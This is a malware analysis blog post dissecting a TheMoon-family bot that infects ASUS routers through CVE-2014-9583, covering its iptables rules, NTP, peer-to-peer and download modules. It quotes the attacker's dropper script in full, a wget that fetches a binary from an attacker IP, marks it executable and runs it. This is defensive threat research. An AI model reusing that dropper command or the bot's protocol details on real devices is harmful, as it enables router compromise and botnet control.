In the post “ Home Routers - New Favorite of Cybercriminals in 2016 ”, we discussed the active detection of vulnerability CVE-2014-9583 in ASUS routers since June of this year. In this post we will dissect a bot installed on the affected ASUS routers.
The following figure shows attack traffic captured through Wireshark.
Figure 1 Exploitation of CVE-2014-9583
Below is the content of file nmlt1.sh downloaded from hxxp://78.128.92.137:80/.
#!/bin/sh
cd /tmp
rm -f .nttpd
wget -O .nttpd http://78.128.92.137/.nttpd,17-mips-le-t1
chmod +x .nttpd
./.nttpd
The vulnerable ASUS router will download and execute the binary file .nttpd from the attacker controlled website. The following figure shows its MD5 hash and file attributes:
Figure 2 md5sum and file attributes
A simple search shows that this bot was analyzed here . However, that analysis was based on sample MD5: c44f2d8ad37c18ea84a99db584d6992d, and some parts are misleading, so we want to share our updated findings in this post.
This bot belongs to the TheMoon family of malware, which shares the following program structure.
Figure 3 Program structure of TheMoon family
The differences between the family members are mainly located in functions os_init and run_modules.
This bot inserts the following eight iptables rules in function os_init.
Figure 3 iptables rules
The first rule stops other attackers from exploiting the ASUS vulnerability CVE-2014-9583 , while the second one stops other attackers from exploiting the D-Link HNAP SOAPAction-Header Command Execution vulnerability .
All the rest ensure that the attacker has access to this router. We will talk about hard-coded peers later in this post.
In the function run_modules, this bot launches three modules: “clk,” “net” and “dwl.” Let’s analyze them one by one.
Clk ModuleThis module launchs two threads. The first one calculates the running time while the second one maintains the time. This bot queries public NTP servers for the UTC time, as shown in the following figure.
Figure 4 Hard-coded NTP servers
The following figure shows an NTP request sent by this bot, and the response from the public NTP server.
Figure 5 NTP request and response
We don’t believe that these hard-coded IP addresses are C&C servers, as was claimed here .
If the NTP query fails, the bot will instead use the local time.
Net ModuleThis module adds an iptables rule to open UDP port 5143, and then creates a thread which is responsible for P2P communication. It is worth mentioning that the supported message types are variant-specific, and usually different port numbers are used for communication.
This bot supports following three types of message.
Register message RegisterTo message FetchCommand messageEvery message contains a header and a body. All these messages share the following header structure:
OffsetSizeDescription
01Body length
11Message Type
21TTL
310x8F (variant specific)
For every received message, the bot decreases the TTL by one, and forwards the message to its peers if the result is not zero. The following figure demonstrates this behavior.
Figure 6 Forwarded message to its peers
Register messageThe type value of this message is 0. The bot sends this message to hard-coded peers after launching three modules successfully.
Figure 7 register to hard-coded peers
As you may remember, iptables rules are installed to allow access to these hard-coded peers. The following figure shows the traffic sent to hard-coded peers:
Figure 8 Register message
The message body is comprised of two double words: The first one is 0x6d6163f4 (variant specific) and the second is the property value of this peer. The bot adds the sender as its peer after receiving this message. This bot supports 0x64 peers at maximum.
RegistertToThe type value of this message is zero as well, but the message body is 12 bytes long. If the third double word is not zero, this bot sends a register message to a specified IP. Otherwise, it sends the register message to the sender. The following figure shows a RegisterTo message received by the bot.
Figure 9 RegisterTo message
FetchCommandThe type value of this message is one. The following is the structure of the message body.
OffsetSizeDescription
04Peer IP address
44Command id
84Command size (Maximum 0x19001)
12nfile name(n<=8)
The following figure shows a FetchCommand message received by this bot.
Figure 10 FetchCommand message
If the sender is its peer, the bot stores the message in the following structure for the dwl module:
Struct PendingCommand
{
DWORD ip;
DWORD cmd_id;
DWORD cmd_size;
CHAR filename[8];};
Dwl ModuleThis module creates a thread which is responsible for handling the PendingCommand information created by the net module. This bot connects to TCP port 4543 of the designated IP and sends it the required file name and command id. The following figure shows the traffic captured through Wireshark:
Figure 11 Command request
The designed IP is supposed to return the requested file. The bot stores the response in the specified file and executes it. The following figure shows a sequence of calls that create and execute the file received:
Figure 12 download and execute command
While we were unable to download a command file for analysis at the time of this post, based on the file name and size we monitor, they should be the TheMoon family members.
Conclusion The TheMoon family was first discovered by SANS ISC in 2014. This family targets ro